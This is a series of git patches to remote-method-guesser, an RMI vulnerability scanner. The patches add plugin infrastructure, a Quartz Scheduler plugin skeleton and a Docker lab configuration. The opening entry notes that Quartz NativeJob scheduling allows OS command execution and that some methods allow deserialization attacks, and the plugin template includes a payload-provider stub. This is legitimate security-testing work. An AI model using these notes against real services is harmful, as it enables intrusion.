getInternalTriggerListener(String name) + - List getInternalTriggerListeners() + - org.quartz.JobDetail getJobDetail(org.quartz.JobKey jobKey) + - org.quartz.spi.JobFactory getJobFactory() + - List getJobGroupNames() + - Set getJobKeys(org.quartz.impl.matchers.GroupMatcher matcher) + - Class getJobStoreClass() + - ListenerManager getListenerManager() + - org.slf4j.Logger getLog() + - Set getPausedTriggerGroups() + - SchedulerContext getSchedulerContext() + - String getSchedulerInstanceId() + - String getSchedulerName() + - SchedulerSignaler getSchedulerSignaler() + - ThreadGroup getSchedulerThreadGroup() + - Class getThreadPoolClass() + - int getThreadPoolSize() + - org.quartz.Trigger getTrigger(org.quartz.TriggerKey triggerKey) + - List getTriggerGroupNames() + - Set getTriggerKeys(org.quartz.impl.matchers.GroupMatcher matcher) + - List getTriggersOfJob(org.quartz.JobKey jobKey) + - org.quartz.Trigger.TriggerState getTriggerState(org.quartz.TriggerKey triggerKey) + - String getVersion() + - static String getVersionIteration() + - static String getVersionMajor() + - static String getVersionMinor() + - void initialize() + - boolean interrupt(org.quartz.JobKey jobKey) + - boolean interrupt(String fireInstanceId) + - boolean isClustered() + - boolean isInStandbyMode() + - boolean isShutdown() + - boolean isShuttingDown() + - boolean isSignalOnSchedulingChange() + - boolean isStarted() + - void notifyJobListenersToBeExecuted(org.quartz.JobExecutionContext jec) + - void notifyJobListenersWasExecuted(org.quartz.JobExecutionContext jec, org.quartz.JobExecutionException je) + - void notifyJobListenersWasVetoed(org.quartz.JobExecutionContext jec) + - protected void notifyJobStoreJobComplete(org.quartz.spi.OperableTrigger trigger, org.quartz.JobDetail detail, org.quartz.org.quartz.Trigger.CompletedExecutionInstruction instCode) + - protected void notifyJobStoreJobVetoed(org.quartz.spi.OperableTrigger trigger, org.quartz.JobDetail detail, org.quartz.org.quartz.Trigger.CompletedExecutionInstruction instCode) + - void notifySchedulerListenersError(String msg, SchedulerException se) + - void notifySchedulerListenersFinalized(org.quartz.Trigger trigger) + - void notifySchedulerListenersInStandbyMode() + - void notifySchedulerListenersJobAdded(org.quartz.JobDetail jobDetail) + - void notifySchedulerListenersJobDeleted(org.quartz.JobKey jobKey) + - void notifySchedulerListenersPausedJob(org.quartz.JobKey key) + - void notifySchedulerListenersPausedJobs(String group) + - void notifySchedulerListenersPausedTrigger(org.quartz.TriggerKey triggerKey) + - void notifySchedulerListenersPausedTriggers(String group) + - void notifySchedulerListenersResumedJob(org.quartz.JobKey key) + - void notifySchedulerListenersResumedJobs(String group) + - void notifySchedulerListenersResumedTrigger(org.quartz.TriggerKey key) + - void notifySchedulerListenersResumedTriggers(String group) + - void notifySchedulerListenersSchduled(org.quartz.Trigger trigger) + - void notifySchedulerListenersShutdown() + - void notifySchedulerListenersShuttingdown() + - void notifySchedulerListenersStarted() + - void notifySchedulerListenersStarting() + - void notifySchedulerListenersUnscheduled(org.quartz.TriggerKey triggerKey) + - protected void notifySchedulerThread(long candidateNewNextFireTime) + - void notifyTriggerListenersComplete(org.quartz.JobExecutionContext jec, org.quartz.org.quartz.Trigger.CompletedExecutionInstruction instCode) + - boolean notifyTriggerListenersFired(org.quartz.JobExecutionContext jec) + - void notifyTriggerListenersMisfired(org.quartz.Trigger trigger) + - int numJobsExecuted() + - void pauseAll() + - void pauseJob(org.quartz.JobKey jobKey) + - void pauseJobs(org.quartz.impl.matchers.GroupMatcher groupMatcher) + - void pauseTrigger(org.quartz.TriggerKey triggerKey) + - void pauseTriggers(org.quartz.impl.matchers.GroupMatcher matcher) + - boolean removeInternalJobListener(String name) + - boolean removeInternalSchedulerListener(org.quartz.SchedulerListener schedulerListener) + - boolean removeinternalTriggerListener(String name) + - boolean removeNoGCObject(Object obj) + - Date rescheduleJob(org.quartz.TriggerKey triggerKey, org.quartz.Trigger newTrigger) + - void resumeAll() + - void resumeJob(org.quartz.JobKey jobKey) + - void resumeJobs(org.quartz.impl.matchers.GroupMatcher matcher) + - void resumeTrigger(org.quartz.TriggerKey triggerKey) + - void resumeTriggers(org.quartz.impl.matchers.GroupMatcher matcher) + - Date runningSince() + - void scheduleJob(org.quartz.JobDetail jobDetail, Set triggersForJob, boolean replace) + - Date scheduleJob(org.quartz.JobDetail jobDetail, org.quartz.Trigger trigger) + - Date scheduleJob(org.quartz.Trigger trigger) + - void scheduleJobs(Map> triggersAndJobs, boolean replace) + - void setJobFactory(org.quartz.spi.JobFactory factory) + - void setSignalOnSchedulingChange(boolean signalOnSchedulingChange) + - void shutdown() + - void shutdown(boolean waitForJobsToComplete) + - void standby() + - void start() + - void startDelayed(int seconds) + - boolean supportsPersistence() + - void triggerJob(org.quartz.JobKey jobKey, org.quartz.JobDataMap data) + - void triggerJob(org.quartz.spi.OperableTrigger trig) + - boolean unscheduleJob(org.quartz.TriggerKey triggerKey) + - boolean unscheduleJobs(List triggerKeys) + - void validateState() + + references: + - https://www.quartz-scheduler.org/documentation/ + - https://www.quartz-scheduler.org/api/2.2.2/org/quartz/core/QuartzScheduler.html + + vulnerabilities: + - name: Vulnerable Methods + description: | + Quartz scheduler allows job scheduling. By scheduling a NativeJob, it is possible to execute + operating system commands as a feature. + references: + - https://github.com/qtc-de/remote-method-guesser#call + + - name: Deserialization + description: | + Several methods accept non trivial parameters and can therefore be used for deserialization attacks. + references: + - https://github.com/qtc-de/remote-method-guesser#serial From 3716f10b31d7cf201d0073f5ae01f08784877ed8 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Jan 2024 22:10:13 +0100 Subject: [PATCH 11/62] Add javadoc for IActionProvider --- src/eu/tneitzel/rmg/plugin/IActionProvider.java | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/src/eu/tneitzel/rmg/plugin/IActionProvider.java b/src/eu/tneitzel/rmg/plugin/IActionProvider.java index 6d48084..029e1fb 100644 --- a/src/eu/tneitzel/rmg/plugin/IActionProvider.java +++ b/src/eu/tneitzel/rmg/plugin/IActionProvider.java @@ -13,6 +13,18 @@ public interface IActionProvider { + /** + * Return all actions that get added by the plugin. + * + * @return actions that are added by the plugin + */ IAction[] getActions(); + + /** + * Is called by remote-method-guesser if the user specified an action that was defined + * by the plugin. + * + * @param action the action specified by the user + */ void dispatch(IAction action); } From 28e9e306d0b61a80051a9fd462fe97fb7b5b1a12 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Jan 2024 22:11:14 +0100 Subject: [PATCH 12/62] Small formatting changes --- .../java/eu/tneitzel/rmg/quartz/Starter.java | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java b/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java index 0a905c0..9228167 100644 --- a/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java +++ b/docker/quartz-server/resources/server/src/main/java/eu/tneitzel/rmg/quartz/Starter.java @@ -10,9 +10,9 @@ public class Starter { public static void main(String[] args) { - int jobsExecuted = 0; - Scheduler sched = null; - + int jobsExecuted = 0; + Scheduler sched = null; + try { System.out.println("[+] Creating a scheduler."); @@ -22,27 +22,27 @@ public static void main(String[] args) System.out.println("[+] Starting scheduler."); sched.start(); - + while (true) { - SchedulerMetaData data = sched.getMetaData(); - - if (data.getNumberOfJobsExecuted() > jobsExecuted) - { - jobsExecuted = data.getNumberOfJobsExecuted(); - System.out.println("[+] Number of executed jobs: " + jobsExecuted); - } - - Thread.sleep(5000); + SchedulerMetaData data = sched.getMetaData(); + + if (data.getNumberOfJobsExecuted() > jobsExecuted) + { + jobsExecuted = data.getNumberOfJobsExecuted(); + System.out.println("[+] Number of executed jobs: " + jobsExecuted); + } + + Thread.sleep(5000); } } - + catch (SchedulerException e) { System.out.println("[+] Caught SchedulerException:"); e.printStackTrace(); } - + catch (InterruptedException e) { System.out.println("[+] Aborted.:"); @@ -50,18 +50,18 @@ public static void main(String[] args) finally { - if (sched == null) - { - return; - } - + if (sched == null) + { + return; + } + System.out.println("[+] Stopping scheduler."); - + try { sched.shutdown(); } - + catch (SchedulerException e) { System.out.println("[+] Caught SchedulerException:"); From 2cb5123eeac447099b2cd377e934a65332dfcd82 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 13 Jan 2024 22:18:28 +0100 Subject: [PATCH 13/62] Add plugin template --- plugins/template/README.md | 13 ++ plugins/template/pom.xml | 50 ++++++++ .../java/eu/tneitzel/rmg/plugin/Template.java | 118 ++++++++++++++++++ 3 files changed, 181 insertions(+) create mode 100644 plugins/template/README.md create mode 100644 plugins/template/pom.xml create mode 100644 plugins/template/src/main/java/eu/tneitzel/rmg/plugin/Template.java diff --git a/plugins/template/README.md b/plugins/template/README.md new file mode 100644 index 0000000..c05c998 --- /dev/null +++ b/plugins/template/README.md @@ -0,0 +1,13 @@ +### Plugin Template + +---- + +This folder contains a template for developing *remote-method-guesser* plugins. +Simply adjust the [Template Class](src/main/java/eu/tneitzel/rmg/plugin/Template.java) +to your requirements and compile the template using *maven*. If you change the +template class' classname, make sure to also reflect this change within the `RmgPluginClass` +property within [pom.xml](https://github.com/qtc-de/remote-method-guesser/blob/master/plugin/template/pom.xml#L39). + +The template contains placeholder implementations for all available plugin interfaces. +Make sure to remove all interfaces and the associated methods that are not actually used +by your plugin. diff --git a/plugins/template/pom.xml b/plugins/template/pom.xml new file mode 100644 index 0000000..4f55d1e --- /dev/null +++ b/plugins/template/pom.xml @@ -0,0 +1,50 @@ + + 4.0.0 + eu.tneitzel + rmg-plugin-template + 1.0.0 + + + UTF-8 + 1.8 + 1.8 + + + + + eu.tneitzel + remote-method-guesser + 5.0.0 + provided + + + + + + + maven-assembly-plugin + + + package + + single + + + + + rmg-plugin-template-${project.version} + + + Tobias Neitzel (@qtc_de) + eu.tneitzel.rmg.plugin.Template + + + + jar-with-dependencies + + + + + + + diff --git a/plugins/template/src/main/java/eu/tneitzel/rmg/plugin/Template.java b/plugins/template/src/main/java/eu/tneitzel/rmg/plugin/Template.java new file mode 100644 index 0000000..a6110df --- /dev/null +++ b/plugins/template/src/main/java/eu/tneitzel/rmg/plugin/Template.java @@ -0,0 +1,118 @@ +package eu.tneitzel.rmg.plugin; + +import java.rmi.server.RMIClientSocketFactory; +import java.rmi.server.RMISocketFactory; + +import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.rmg.operations.Operation; + +/** + * The Template class represents a template to develop remote-method-guesser plugins. + * It implements all the available plugin interfaces, but only uses placeholder implementations. + * If you want to build a plugin from it, remove the interfaces and methods that you do not + * intend to use. Other methods need to be overwritten with actual useful implementations. + * + * When changing the class name, make sure to also change the RmgPluginClass entry within the + * pom.xml file. + */ +public class Template implements IPayloadProvider, IArgumentProvider, IResponseHandler, IActionProvider, ISocketFactoryProvider +{ + /** + * Construct the client socket factory to use. This factory is used to create sockets + * for direct RMI communication (e.g. when connecting to the RMI registry). + * + * @param host remote host + * @param port remote port + * @return RMIClientSocketFactory to use + */ + public RMIClientSocketFactory getClientSocketFactory(String host, int port) + { + // TODO Override with something useful or remove + return null; + } + + /** + * Construct the RMI socket factory to use. This factory is used for implicit RMI + * connections, e.g. when calling a method on a previously obtained remote object. + * + * @param host remote host + * @param port remote port + * @return RMISocketFactory to use + */ + public RMISocketFactory getDefaultSocketFactory(String host, int port) + { + // TODO Override with something useful or remove + return null; + } + + /** + * Return the SSL socket factory class that should be used for implicit RMI connections. + * + * @param host remote host + * @param port remote port + * @return name of the SSL socket factory class to use for SSL connections. + */ + public String getDefaultSSLSocketFactory(String host, int port) + { + // TODO Override with something useful or remove + return null; + } + + /** + * Is called by remote-method-guesser if the user specified an action that was defined + * by the plugin. + * + * @param action the action specified by the user + */ + public void dispatch(IAction arg0) + { + // TODO Override with something useful or remove + } + + /** + * Return all actions that get added by the plugin. + * + * @return actions that are added by the plugin + */ + public IAction[] getActions() + { + // TODO Override with something useful or remove + return null; + } + + /** + * Handle the response of an RMI call. + * + * @param responseObject the object that was returned by the server. + */ + public void handleResponse(Object responseObject) + { + // TODO Override with something useful or remove + } + + /** + * Provide an argument array for remote method calls. + * + * @param argumentString the argument string specified on the command line + * @return argument array for a remote method call + */ + public Object[] getArgumentArray(String argumentString) + { + // TODO Override with something useful or remove + return null; + } + + /** + * Provide a payload object for deserialization attacks. + * + * @param action the current RMG action that requested the gadget + * @param name the name of the gadget being requested + * @param args the arguments provided for the gadget + * @return a payload object to use for deserialization attacks + */ + public Object getPayloadObject(Operation action, String name, String args) + { + // TODO Override with something useful or remove + return null; + } +} From 8b39300b62007f55319fceeca291db8c03b92dd1 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 17 Jan 2024 09:45:54 +0100 Subject: [PATCH 14/62] Small formatting changes --- pom.xml | 4 +-- .../rmg/internal/ArgumentHandler.java | 7 ++-- src/eu/tneitzel/rmg/operations/Operation.java | 33 +++++++------------ src/eu/tneitzel/rmg/plugin/PluginSystem.java | 14 ++++++++ 4 files changed, 33 insertions(+), 25 deletions(-) diff --git a/pom.xml b/pom.xml index b6facdf..ce1395c 100644 --- a/pom.xml +++ b/pom.xml @@ -4,7 +4,7 @@ eu.tneitzel remote-method-guesser - 5.0.0 + 5.1.0 jar ${project.artifactId} @@ -51,7 +51,7 @@ eu.tneitzel argparse4j - 1.0.1 + 1.1.0 diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index 0be3d4d..4ee4681 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -11,6 +11,7 @@ import java.util.Set; import eu.tneitzel.argparse4j.ArgumentParsers; +import eu.tneitzel.argparse4j.global.ActionContext; import eu.tneitzel.argparse4j.global.GlobalOption; import eu.tneitzel.argparse4j.global.exceptions.RequirementException; import eu.tneitzel.argparse4j.inf.ArgumentParser; @@ -55,8 +56,10 @@ public ArgumentHandler(String[] argv) parser = ArgumentParsers.newFor("remote-method-guesser").build(); parser.description("rmg v" + ArgumentHandler.class.getPackage().getImplementationVersion() + " - a Java RMI Vulnerability Scanner"); - Subparsers subparsers = parser.addSubparsers().help(" ").metavar("action").dest("action"); - Operation.addSubparsers(subparsers); + ActionContext ctx = Operation.getActionContext(); + Subparsers subParsers = ctx.addSubparsers(parser); + + PluginSystem.addPluginActions(subParsers); try { diff --git a/src/eu/tneitzel/rmg/operations/Operation.java b/src/eu/tneitzel/rmg/operations/Operation.java index 2d51041..90bf0e2 100644 --- a/src/eu/tneitzel/rmg/operations/Operation.java +++ b/src/eu/tneitzel/rmg/operations/Operation.java @@ -2,14 +2,11 @@ import java.lang.reflect.Method; -import eu.tneitzel.argparse4j.global.GlobalOption; +import eu.tneitzel.argparse4j.global.ActionContext; import eu.tneitzel.argparse4j.global.IAction; import eu.tneitzel.argparse4j.global.IOption; -import eu.tneitzel.argparse4j.inf.Subparser; -import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; -import eu.tneitzel.rmg.plugin.PluginSystem; /** * The Operation enum class contains one item for each possible rmg action. An enum item consists out of @@ -336,9 +333,13 @@ public enum Operation implements IAction */ Operation(String methodName, String arguments, String description, RMGOption[] options) { - try { + try + { this.method = Dispatcher.class.getDeclaredMethod(methodName, new Class[] {}); - } catch(Exception e) { + } + + catch (Exception e) + { ExceptionHandler.internalException(e, "Operation constructor", true); } @@ -425,29 +426,19 @@ public static Operation getByName(String name) } /** - * Add a new subparser for each operation to the specified argumentParser. + * Create an ActionContext for the Operation enum. * - * @param argumentParser parser to add the subparsers to. + * @return ActionContext that can be used to create argument parsers from. */ - public static void addSubparsers(Subparsers argumentParser) + public static ActionContext getActionContext() { - for (Operation operation : Operation.values()) - { - Subparser parser = argumentParser.addParser(operation.name().toLowerCase()).help(operation.description); - GlobalOption.addOptions(parser, operation); - } - - for (IAction action : PluginSystem.getPluginActions()) - { - Subparser parser = argumentParser.addParser(action.getName().toLowerCase()).help(action.getDescription()); - GlobalOption.addOptions(parser, action); - } + return new ActionContext("action", " ", " ", Operation.values()); } @Override public String getName() { - return method.getName(); + return name().toLowerCase(); } @Override diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index 10fe42b..5eafac0 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -10,6 +10,7 @@ import java.util.jar.Manifest; import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.exceptions.MalformedPluginException; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; @@ -312,4 +313,17 @@ public static IAction[] getPluginActions() return new IAction[] {}; } + + /** + * Add actions added by a user defined plugin to an argument parser. + * + * @param parser the argument parser to add the actions to + */ + public static void addPluginActions(Subparsers parser) + { + for (IAction action : getPluginActions()) + { + action.addSuparser(parser); + } + } } From 967ee9e54b4c2c87563fb0fd92099f3dbe6a81d2 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 21 Jan 2024 18:07:21 +0100 Subject: [PATCH 15/62] Add SubparserGroups for plugins When plugins add actions to rmg, these are now separately grouped to make them distinguishable from the native actions. --- pom.xml | 2 +- .../rmg/internal/ArgumentHandler.java | 1 + src/eu/tneitzel/rmg/operations/Operation.java | 13 +++++++++ .../rmg/operations/OperationGroup.java | 29 +++++++++++++++++++ src/eu/tneitzel/rmg/plugin/PluginSystem.java | 11 ++++++- 5 files changed, 54 insertions(+), 2 deletions(-) create mode 100644 src/eu/tneitzel/rmg/operations/OperationGroup.java diff --git a/pom.xml b/pom.xml index ce1395c..9142ac8 100644 --- a/pom.xml +++ b/pom.xml @@ -51,7 +51,7 @@ eu.tneitzel argparse4j - 1.1.0 + 1.2.0 diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index 4ee4681..6f5add6 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -55,6 +55,7 @@ public ArgumentHandler(String[] argv) { parser = ArgumentParsers.newFor("remote-method-guesser").build(); parser.description("rmg v" + ArgumentHandler.class.getPackage().getImplementationVersion() + " - a Java RMI Vulnerability Scanner"); + parser.addArgument("--plugin").help("file system path of a rmg plugin"); ActionContext ctx = Operation.getActionContext(); Subparsers subParsers = ctx.addSubparsers(parser); diff --git a/src/eu/tneitzel/rmg/operations/Operation.java b/src/eu/tneitzel/rmg/operations/Operation.java index 90bf0e2..cbfc83a 100644 --- a/src/eu/tneitzel/rmg/operations/Operation.java +++ b/src/eu/tneitzel/rmg/operations/Operation.java @@ -4,9 +4,11 @@ import eu.tneitzel.argparse4j.global.ActionContext; import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.global.IActionGroup; import eu.tneitzel.argparse4j.global.IOption; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; +import eu.tneitzel.rmg.plugin.PluginSystem; /** * The Operation enum class contains one item for each possible rmg action. An enum item consists out of @@ -435,6 +437,17 @@ public static ActionContext getActionContext() return new ActionContext("action", " ", " ", Operation.values()); } + @Override + public IActionGroup getGroup() + { + if (PluginSystem.getPluginActions().length != 0) + { + return OperationGroup.NATIVE; + } + + return null; + } + @Override public String getName() { diff --git a/src/eu/tneitzel/rmg/operations/OperationGroup.java b/src/eu/tneitzel/rmg/operations/OperationGroup.java new file mode 100644 index 0000000..a836341 --- /dev/null +++ b/src/eu/tneitzel/rmg/operations/OperationGroup.java @@ -0,0 +1,29 @@ +package eu.tneitzel.rmg.operations; + +import eu.tneitzel.argparse4j.global.IActionGroup; + +/** + * When plugins implement IActionProvider, they can add additional arguments + * to rmg. In this case, we use the IActionGroup to distinguish from plugin and + * native actions. + * + * @author Tobias Neitzel (@qtc_de) + */ +public enum OperationGroup implements IActionGroup +{ + NATIVE("actions:"), + PLUGIN("plugin actions:"); + + private final String name; + + OperationGroup(String name) + { + this.name = name; + } + + @Override + public String getName() + { + return name; + } +} diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index 5eafac0..d36f105 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -10,12 +10,14 @@ import java.util.jar.Manifest; import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.inf.SubparserContainer; import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.exceptions.MalformedPluginException; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.operations.Operation; +import eu.tneitzel.rmg.operations.OperationGroup; import eu.tneitzel.rmg.utils.RMGUtils; /** @@ -323,7 +325,14 @@ public static void addPluginActions(Subparsers parser) { for (IAction action : getPluginActions()) { - action.addSuparser(parser); + SubparserContainer container = parser; + + if (action.getGroup() == null) + { + container = parser.getOrCreateSubparserGroup(OperationGroup.PLUGIN.getName()); + } + + action.addSuparser(container); } } } From 72fda63abd2013474b3e7e7de0a34b9c5aaaed22 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 21 Jan 2024 18:09:37 +0100 Subject: [PATCH 16/62] Update quartz-server docker file --- docker/quartz-server/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/quartz-server/Dockerfile b/docker/quartz-server/Dockerfile index 6322b99..5f42820 100644 --- a/docker/quartz-server/Dockerfile +++ b/docker/quartz-server/Dockerfile @@ -33,6 +33,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.example \ -Dorg.quartz.scheduler.rmi.createRegistry=true \ -Dorg.quartz.scheduler.rmi.serverPort=4444 -EXPOSE 1099/tcp +EXPOSE 1099/tcp 4444/tcp CMD ["/opt/start.sh"] From 0abe94cca2ec9aa80fe0132095fedb8a79f67e43 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 21 Jan 2024 19:08:11 +0100 Subject: [PATCH 17/62] Small formatting changes --- src/eu/tneitzel/rmg/Starter.java | 8 ++++++-- src/eu/tneitzel/rmg/internal/ArgumentHandler.java | 10 ++++++++++ src/eu/tneitzel/rmg/operations/Dispatcher.java | 2 +- .../rmg/operations/RemoteObjectClient.java | 14 ++++++++++++++ src/eu/tneitzel/rmg/plugin/PluginSystem.java | 10 ++++++++++ 5 files changed, 41 insertions(+), 3 deletions(-) diff --git a/src/eu/tneitzel/rmg/Starter.java b/src/eu/tneitzel/rmg/Starter.java index 7279dd0..d01c6b2 100644 --- a/src/eu/tneitzel/rmg/Starter.java +++ b/src/eu/tneitzel/rmg/Starter.java @@ -25,13 +25,17 @@ public static void main(String[] argv) PluginSystem.init(pluginPath); ArgumentHandler handler = new ArgumentHandler(argv); - Operation operation = handler.getAction(); RMGUtils.init(); RMGUtils.disableWarning(); RMGUtils.enableCodebaseCollector(); + + Operation operation = handler.getAction(); Dispatcher dispatcher = new Dispatcher(handler); - operation.invoke(dispatcher); + if (operation != null) + { + operation.invoke(dispatcher); + } } } diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index 6f5add6..b81a8cc 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -13,6 +13,7 @@ import eu.tneitzel.argparse4j.ArgumentParsers; import eu.tneitzel.argparse4j.global.ActionContext; import eu.tneitzel.argparse4j.global.GlobalOption; +import eu.tneitzel.argparse4j.global.IAction; import eu.tneitzel.argparse4j.global.exceptions.RequirementException; import eu.tneitzel.argparse4j.inf.ArgumentParser; import eu.tneitzel.argparse4j.inf.ArgumentParserException; @@ -163,6 +164,15 @@ public Operation getAction() if (action == null) { + for (IAction action : PluginSystem.getPluginActions()) + { + if (action.getName() == args.getString("action")) + { + PluginSystem.dispatchPluginAction(action); + return null; + } + } + ExceptionHandler.internalError("ArgumentHandler.getAction", "Invalid action was specified"); } diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index be9974a..9d6d29a 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -246,7 +246,7 @@ else if (boundName != null) else { - ExceptionHandler.missingTarget(p.getAction().name()); + ExceptionHandler.missingTarget(p.getAction().getName()); return null; } } diff --git a/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java b/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java index ba82098..3ffe458 100644 --- a/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java +++ b/src/eu/tneitzel/rmg/operations/RemoteObjectClient.java @@ -1,6 +1,8 @@ package eu.tneitzel.rmg.operations; +import java.lang.reflect.Proxy; import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; import java.util.ArrayList; import java.util.Collections; import java.util.Iterator; @@ -98,6 +100,18 @@ public RemoteObjectClient(UnicastWrapper remoteObject) remoteRef = remoteObject.unicastRef; } + /** + * Create a proxy for the RemoteObjectClient. + * + * @return proxy implementing the specified interface + */ + @SuppressWarnings("unchecked") + public T createProxy(Class intf) + { + RemoteObjectInvocationHandler invo = new RemoteObjectInvocationHandler(remoteRef); + return (T)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, invo); + } + /** * When a RemoteObjectClient was obtained using an ObjID, it has no assigned UnicastWrapper. * remote-method-guesser only creates a UnicastRef using the endpoint information and the ObjID, diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index d36f105..f394735 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -335,4 +335,14 @@ public static void addPluginActions(Subparsers parser) action.addSuparser(container); } } + + /** + * Dispatch an action that was provided by a plugin. + * + * @param pluginAction the plugin action to dispatch + */ + public static void dispatchPluginAction(IAction pluginAction) + { + actionProvider.dispatch(pluginAction); + } } From c0905d46dc20bb1384cddda254249357d69a7ff9 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 21 Jan 2024 19:11:26 +0100 Subject: [PATCH 18/62] Add skeleton for quartz-scheduler plugin --- plugins/quartz-scheduler/README.md | 5 ++ plugins/quartz-scheduler/pom.xml | 56 +++++++++++++++++++ .../eu/tneitzel/rmg/plugin/Dispatcher.java | 18 ++++++ .../java/eu/tneitzel/rmg/plugin/Helpers.java | 36 ++++++++++++ .../eu/tneitzel/rmg/plugin/QuartzAction.java | 44 +++++++++++++++ .../java/eu/tneitzel/rmg/plugin/Template.java | 39 +++++++++++++ 6 files changed, 198 insertions(+) create mode 100644 plugins/quartz-scheduler/README.md create mode 100644 plugins/quartz-scheduler/pom.xml create mode 100644 plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java create mode 100644 plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java create mode 100644 plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/QuartzAction.java create mode 100644 plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Template.java diff --git a/plugins/quartz-scheduler/README.md b/plugins/quartz-scheduler/README.md new file mode 100644 index 0000000..1a3724c --- /dev/null +++ b/plugins/quartz-scheduler/README.md @@ -0,0 +1,5 @@ +### Quartz Scheduler + +---- + +A small plugin to interact with a remotely accessible [Quartz Scheduler](https://www.quartz-scheduler.org/). diff --git a/plugins/quartz-scheduler/pom.xml b/plugins/quartz-scheduler/pom.xml new file mode 100644 index 0000000..8eea803 --- /dev/null +++ b/plugins/quartz-scheduler/pom.xml @@ -0,0 +1,56 @@ + + 4.0.0 + eu.tneitzel + quartz-scheduler-rmg-plugin + 1.0.0 + + + UTF-8 + 1.8 + 1.8 + + + + + eu.tneitzel + remote-method-guesser + 5.1.0 + provided + + + + org.quartz-scheduler + quartz + 2.3.2 + + + + + + + maven-assembly-plugin + + + package + + single + + + + + ${project.artifactId}-${project.version} + + + Tobias Neitzel (@qtc_de) + eu.tneitzel.rmg.plugin.Template + + + + jar-with-dependencies + + + + + + + diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java new file mode 100644 index 0000000..e53fbe0 --- /dev/null +++ b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Dispatcher.java @@ -0,0 +1,18 @@ +package eu.tneitzel.rmg.plugin; + +import java.rmi.RemoteException; + +import org.quartz.core.RemotableQuartzScheduler; + +import eu.tneitzel.rmg.io.Logger; + +public class Dispatcher +{ + public static void dispatchVersion() throws RemoteException + { + RemotableQuartzScheduler scheduler = Helpers.getScheduler(); + String version = scheduler.getVersion(); + + Logger.printlnMixedYellow("Remote Quartz Scheduler version:", version); + } +} diff --git a/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java b/plugins/quartz-scheduler/src/main/java/eu/tneitzel/rmg/plugin/Helpers.java new file mode 100644 index 0000000..4c490d1 